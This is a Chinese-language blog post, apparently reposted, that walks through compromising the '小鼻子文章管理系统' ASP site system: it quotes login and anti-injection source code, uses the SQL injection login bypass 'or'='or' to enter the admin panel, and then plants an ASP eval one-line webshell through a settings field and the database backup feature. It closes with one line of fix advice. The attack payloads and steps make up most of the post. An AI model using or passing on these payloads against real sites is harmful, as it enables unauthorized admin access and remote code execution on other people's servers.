随便下了一个asp的建站系统 “小鼻子文章管理系统”
打开以后 发现做的还不错
来到后台/admin/login.asp 默认试了一下万能密码'or'='or' 发现竟然进去了
来看一下源码
①login.asp文件
<%
Dim errmsg
username=Request("username")
password=Request("password")
verifycode=Request("verifycode")
If username="" Or password="" Then
Response.Redirect "login.asp?errno=2"
Response.End
End If
小鼻子文章管理系统漏洞
这是一处。发现没有过滤然后是 奇怪的竟然在 验证码这转化。
If Cstr(Session("getcode"))<>Lcase(Cstr(Trim(Request("verifycode")))) Then
Response.Redirect "login.asp?errno=0"
Response.End
End If
%>
来看一下 防注入文件/inc/AntiAttack.asp分两部分组成
①----- 对get query 值 的过滤.
②-----对post 表 单值的过滤.
对post的代码如下
if request.form<>"" then
Chk_badword=split(Form_Badword,"‖")
FOR EACH form_name2 IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(form_name2)),Chk_badword(i))<>0 Then
Select Case Err_Message
Case "1"
Response.Write "<Script Language=javascript>alert('出错了!表单"&form_name2&" 的值中包含非法字符串!\n\n请不要在表单中出现:% & * # ( ) 等非法字符!');window.close();</Script>"
Case "2"
Response.Write "<Script Language=javascript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=javascript>alert('出错了!参数"&form_name2&"的值中包含非法字符串!\n\n请不要在表单中出现:% & * # ( ) 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
end if
%>
开头"if request.from<>"
很显然 在后台登陆界面 的 用户和密码处并没有进行判断
所以使用万能密码 可以直接登陆后台
二 、 后台上传shell
我简单的看了一下 可以用备份 的方法
首先 先对网站进行 备份 后面 还原用到
在“网站信息设置”出我们插上 闭合型一句话
%><%eval request("0o1Znz1ow")%><%
然后备份xx.asp or xx.cer 等
在/DataBaseX/文件下 会出现我们的马了
修复建议:针对性加强登陆验证,涛涛电脑知识网,加强备份功能处验证过滤
摘自 情 blog
,涛涛电脑知识网